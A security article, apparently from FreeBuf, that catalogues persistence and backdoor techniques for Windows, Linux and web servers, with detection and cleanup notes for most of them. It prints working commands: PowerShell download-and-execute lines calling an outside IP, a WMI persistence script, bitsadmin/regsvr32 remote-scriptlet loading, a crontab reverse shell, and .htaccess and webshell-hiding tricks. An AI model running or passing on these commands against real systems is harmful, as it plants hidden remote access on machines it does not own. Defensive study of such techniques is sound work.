23

权限维持及后门持久化技巧总结

 4 years ago
source link: https://www.freebuf.com/articles/system/229209.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

一、前言

在攻击者利用漏洞获取到某台机器的控制权限之后,会考虑将该机器作为一个持久化的据点,种植一个具备持久化的后门,从而随时可以连接该被控机器进行深入渗透。本文从Windows持久化,Linux持久化和Web持久化对现有技术进行了总结,对于持久化的攻击形式,主要是靠edr、av等终端产品进行检测。

二、Windows后门

2.1辅助功能镜像劫持

为了使电脑更易于使用和访问,Windows 添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。

一些常见的辅助功能如:

 C:\Windows\System32\sethc.exe    粘滞键    快捷键:按五次 shift 键
 C:\Windows\System32\utilman.exe     设置中心   快捷键:Windows+U 键
 C:\Windows\System32\osk.exe        屏幕键盘
 C:\Windows\System32\Magnify.exe    放大镜      快捷键:Windows+加减号

在较早的 Windows 版本,只需要进行简单的二进制文件替换,比如经典的shift后门是将C:\Windows\System32\ sethc.exe替换为cmd.exe。对于在 Windows Vista 和 Windows Server 2008 及更高的版本中,替换的二进制文件受到了系统的保护,因此这里就需要另一项技术:映像劫持。

映像劫持,也被称为「IFEO」(Image File Execution Options), 是Windows内设的用来调试程序的功能,Windows注册表中存在映像劫持子键(Image File Execution Options)。

当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“dubugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。

具体实现最简单的操作就是修改注册表,

以设置中心utilman.exe为例:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option中添加 utilman.exe 项,在此项中添加 debugger 键,键值为要启动的程序路径。对应的cmd命令如下:

REG ADD "HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\utilman.exe" /tREG_SZ /v Debugger /d "C:\test.bat" /f

注册表键值情况及启动效果:

y2uQFfy.jpg!web

检测及清除办法:

检查HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Option注册表路径中的程序名称及键值。

2.2启动项/服务后门

2.2.1开始菜单启动项

开始菜单启动项,指示启动文件夹的位置,具体的位置是“开始”菜单中的“所有程序”-“启动”选项:

C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start   Menu\Programs\Startup

相关键值:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User   Shell Folders 

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell   Folders 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell   Folders 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User   Shell Folders

nmI7Bfz.jpg!web

在重新启动后,该目录的快捷方式或应用程序会在系统启动的时候被执行:

QRJ7Jfq.jpg!web

检测及清除办法:检查相关注册表键值或使用autoruns。

2.2.2启动项注册表后门

最常见的在启动项注册表键值添加一个新的键值类型为REG_SZ,数据项中添写需要运行程序的路径即可以启动,此类操作一些较为敏感容易被本地AV拦截,目前也是较为常见的一种方式。

启动项键值路径如下:

HKEY_LOCAL_MACHINE\SOFTWARE\Microft\windows\currentversion\run

使用命令:

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run   /v "Keyname" /t REG_SZ /d "C:\test.bat" /f

VzuUVfV.jpg!web 重启效果如下:

Rbuqqif.jpg!web 检测及清除办法:

检查相关注册表键值或使用autoruns。

2.2.3自启动服务后门

在 Windows上还有一个重要的机制,也就是服务。服务程序通常默默的运行在后台,且拥有 SYSTEM 权限,非常适合用于后门持久化。我们可以将 EXE /DLL等可执行文件注册为服务实现后门持久化。

将exe木马添加到自启动服务中 
sc create "GoogleUpdated" binpath=   "C:\Users\Administrator\Desktop\test.exe" 
sc description "GoogleUpdated"   "description" 设置服务的描述字符串 
sc config "GoogleUpdated"   start= auto  设置这个服务为自动启动 net start "GoogleUpdated"   启动服务

将自己的恶意的可执行文件注册成服务,cs中支持生成此类后门:

iiERjeE.jpg!web

也可以尝试配合使用powershell生成无文件的后门:

powershell.exe -nop -w hidden -c   \"IEX ((new-object 
net.webclient).downloadstring('http://186.64.5.115:80/a'))\"

删除服务:

sc delete "GoogleUpdated"

检测及清除办法:

排查自启动服务。

2.3系统计划任务后门

Windows实现定时任务主要有schtasks与at二种方式,通过计划任务

At 适用于windows xp/2003,Schtasks适用于win7/2008+

schtasks /create /sc minute /mo 5   /tn "chrome" /tr c:\test.bat

执行后计划任务成功创建:

22IfY3M.jpg!web

也可以和bitsadmin联动实现无文件后门:

"%WINDIR%\system32\bitsadmin.exe /resume \"chrome\""

检测及清除办法:

使用autoruns排查计划任务。

2.4DLL劫持

如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,进而持久化控制。

由于 输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索 DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在 Windows系统目录中查找,最后是在 环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的 输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。

比较常用的如LPK.dll的劫持:

win7及win7以上系统增加了KnownDLLs保护,需要在如下注册表下添加dll才能顺利劫持:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls

baEzQjB.jpg!web

构造劫持lpk.dll需要和原dll函数具有相同的导出表,在初始化函数中加入我们要执行的代码,这样调用时会执行插入的后门代码。

2.5Winlogon用户登录初始化

Winlogon.exe 进程是 Windows 操作系统中非常重要的一部分,Winlogon 用于执行与 Windows 登录过程相关的各种关键任务,例如,当在用户登录时,Winlogon 进程负责将用户配置文件加载到注册表中。

在注册表项 HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\和 HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\用于管理支持 Winlogon 的帮助程序和扩展功能,对这些注册表项的恶意修改可能导致 Winlogon 加载和执行恶意 DLL 或可执行文件。

已知以下子项可能容易被恶意代码所利用:

Winlogon\Userinit – 指向 userinit.exe,即用户登录时执行的用户初始化程序。攻击者可以利用这些功能重复执行恶意代码建立持久后门,如下的代码演示了如何通过在 Userinit 子键添加恶意程序路径实现驻留系统的目的。

修改winlogon Userinit字段:

注册表路径:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

键值:Userinit

f67jmeM.jpg!web

Powershell一键修改命令:

Set-ItemProperty   "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name   Userinit -value "C:\Windows\system32\userinit.exe,***************"

结合powershell,可以达到无文件后门效果:

Set-ItemProperty   "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name   Userinit -value "C:\Windows\system32\userinit.exe, powershell.exe -nop   -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://186.64.5.115:80/a'))\""

检查及清除:

检查以下注册表中的键值是否存在不明来历的程序路径HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

2.6Logon Scripts后门

Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。

注册表位置:

HKEY_CURRENT_USER\Environment\

创建字符串键值: UserInitMprLogonScript,键值设置为后门的绝对路径:c:\test.bat

YnURnuq.jpg!web 系统重启后触发后门的执行:

aYviUrv.jpg!web 检测及查杀:

查看对应注册表键值,HKEY_CURRENT_USER\Environment\UserInitMprLogonScript

2.7劫持helper dll

netsh是windows系统本身提供的功能强大的网络配置命令行工具

netsh add helper   c:\test\netshtest.dll

Helper.dll添加成功后,每次调用netsh,均会加载c:\test\netshtest.dll

qiqimeR.jpg!web 检测及查杀

检查注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh

或者通过Process Explorer查看netsh进程加载的dll

清除:

netsh delete helper c:\test\netshtest.dll

或者直接在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh删除对应键值

2.8无文件执行

2.8.1WMI构造无文件后门

WMI(Windows管理工具)是微软基于Web的企业管理(WBEM)的实现版本,这是一项行业计划,旨在开发用于访问企业环境中管理信息的标准技术。

该类型后门主要用到了WMI展现出来的两个特征:无文件和无进程。通过与Powershell命令配合使用可以实现无文件,具有良好的隐蔽性也是目前较为常用的持久化手段。

下面是比较典型的代码,

每60秒会重复触发事件,我们设定的命令会被执行:

$Name = 'test' # build the filter $TimeExecTime = 60 $Query = "SELECT * FROM __InstanceModificationEvent   WITHIN                           $TimeExecTime WHERE TargetInstance ISA   'Win32_PerfFormattedData_PerfOS_System'" $NS = "root\subscription" $FilterArgs = @{     Name=$Name       EventNameSpace="root\cimv2"       QueryLanguage="WQL"     Query=$Query } $Filter = Set-WmiInstance -Namespace $NS -Class   "__EventFilter" -Arguments $FilterArgs # build the consumer $ConsumerName = $Name $command = "`$wc = New-Object   System.Net.Webclient; `$wc.Headers.Add('User-Agent','Mozilla/5.0 (Windows NT   6.1; WOW64; Trident/7.0; AS; rv:11.0) Like Gecko'); `$wc.proxy =   [System.Net.WebRequest]::DefaultWebProxy; `$wc.proxy.credentials =   [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX   (`$wc.DownloadString('http://186.64.5.115:80/a'))" #$encCommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command)) $commandLine =   "C:\\Windows\\System32\\WindowsPowershell\\v1.0\\powershell.exe -NoP   -NonI -w hidden -Command $command"    $ConsumerArgs = @{       Name=$ConsumerName       CommandLineTemplate=$commandLine } $consumer = Set-WmiInstance -Class   "CommandLineEventConsumer" -Namespace $NS -Arguments $ConsumerArgs #Bind filter and consumer $Args = @{    Filter =   $Filter    Consumer =   $consumer } Set-WmiInstance -Class   "__FilterToConsumerBinding" -Namespace "root\subscription"   -Arguments $Args

通过查看cs日志,可以看到上线记录:

BV7VBnu.jpg!web 缺点:目前杀软对powershell这类监管较严格,容易被发现

检测及清除:

从WMI数据库中删除条目的最简单方法,就是使用Autoruns。为此,我们不妨以管理员身份启动Autoruns,并选择WMI选项卡,这样就可以查找与WMI相关的持久性后门了。

nmM3UzJ.jpg!web

2.8.2Bitsadmin(windows 自带用于创建上传或下载任务)

bitsadmin.exe是windows自带的可用于创建下载或上载作业并监视其进度,bistadmin可以指定下载成功之后要进行什么命令。

Bistadmin可以指定下载成功之后要进行什么命令。后门就是利用的下载成功之后进行命令执行。可绕过autorun、常见杀软检测。

如果任务未完成,支持在重新启动计算机或重新建立网络连接之后自动恢复文件传输。

bitsadmin /create   backdoor  # 创建任务 bitsadmin /addfile   backdoor %comspec% %temp%\cmd.exe  给任务test添加一个下载文件 bitsadmin.exe /SetNotifyCmdLine backdoor   "%COMSPEC%" "cmd.exe /c start /B C:\aa.exe"  //设置在任务完成传输时或任务进入状态时将运行的命令行命令 bitsadmin /Resume   backdoor  # 激活执行任务

无文件不落地后门

bitsadmin /create backdoor bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe   "/u /s /i:http://186.64.5.115:80/aa scrobj.dll" bitsadmin /Resume backdoor

重启计算机:

重启计算机,发现弹出对话框,BITS 任务依然存在,如果我们想让任务完成,可以执行bitsadmin /complete test

检测及查杀:

使用bitsadmin列出所有任务

bitsadmin /list /allusers /verbose

2.9进程注入

准确来说进程注入不是后门技术或者权限维持技术,而是一种隐藏技术,以cobaltstrike为例,一般可以注入到像是lsass或者explorer这样的进程当中,相对比较隐蔽,较难排查

7B7VVvR.jpg!web

进程注入排查:

使用工具process explorer 、process monitor等均可

RryQZvm.jpg!web

三、Linux后门

3.1crontab计划任务后门

这相当于windows的计划任务,规定时间来执行指定命令。这通常与反弹shell一起运用,crontab格式 每隔60分钟执行一次

(crontab -l;echo '*/60 * * * *   exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1>&9   2>&1;/bin/bash --noprofile -i')|crontab -

命令解释:

echo '*/60 * * * *'  #crontab格式 每隔60分钟执行一次
exec 9<>/dev/tcp/127.0.0.1/8888

以读写方式打开/dev/tcp,并指定服务器名为:127.0.0.1(攻击机) 端口号为:8888,指定描述符为9,要注意的是:/dev/tcp本身是不存在的,在/dev目录下是找不到的

exec 0<&9;exec 1>&9 2>&1;

linux 三个基本文件描述符 0:stdin 1:stdout 2:stderr

n >&m 表示使文件描述符n成为描述符m的副本

exec 0<&9; 将fd9从定向到标准输入;

exec 1>&9 2>&1; 将标准输出从定向到文件fd9,将标准错误从定向到标准输出.

简单的理解为fd9=fd0  fd1=fd9 所以我的理解是,fd9从标准输入读入字符,处理后结果用标准输出输出.

/bin/bash --noprofile -i

3.2SSH公钥免密

将客户端生成的ssh公钥写到所控服务器的~/.ssh/authorized_keys中,然后客户端利用私钥完成认证即可登录。客户端执行生成公钥和私钥:

ssh-keygen -t rsa

bquER3v.jpg!web

把id_rsa.pub写入服务端的authorized_keys中,并修改好相应权限。

服务端:

cat id_dsa.pub >>   ~/.ssh/authorized_key

这种后门的特点是简单易用,但在实战中会被服务器的配置环境所限制,以及容易被发现。

3.3Rookit后门

3.3.1应用级rookit

应用级rookit的主要特点是通过批量替换系统命令来实现隐藏,如替换ls、ps和netstat等命令来隐藏文件、进程和网络连接等,有时会有守护进程来保证后门的稳定性。推荐两款常用的木马:mafix和brookit。

3.4内核级rookit

隐藏性通常要借助对linux系统调用的截获来达到目的,并且难以查杀,难以清除,危害巨大。

四、Web权限维持

通过对webshell的动静态免杀绕过防护软件,进行权限维持。通过修改webshell时间戳,放到不被管理员关注的一些深层目录中,去除敏感shell函数特征,通过对shell流量双向加密去避开常规waf检测

4.1Webshell隐藏

使用windows自带命令行工具attrib用来显示或更改文件属性。

attrib +r +s +h

F3i2yuA.jpg!web

4.2配置文件型后门

在.htaccess中添加php解析的新后缀并上传,之后上传该后缀的木马即可。

AddType application/x-httpd-php .txt

b2AF3ef.jpg!web

7RfaQjb.jpg!web

4.3中间件后门

将编译好的so文件添加到php.ini的extension中。当模块被初始化时,会去加载执行我们的代码。当发送特定参数的字符串过去时,即可触发后门。

五、总结

本文从攻击者视角总结了在获取到服务器或主机权限后,维持权限的一些技巧,持久化主要是为了把攻陷的目标作为据点进一步深入渗透。由于水平有限,欢迎大家指出文中的错误和交流指教。

参考资料:

1. https://xz.aliyun.com/t/6822 持久化研究

2. https://github.com/klionsec/

3. http://cb.drops.wiki/wooyun/drops/tips-3003.html

4. http://www.freebuf.com

*本文作者:新华三攻防团队,转载请注明来自FreeBuf.COM


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK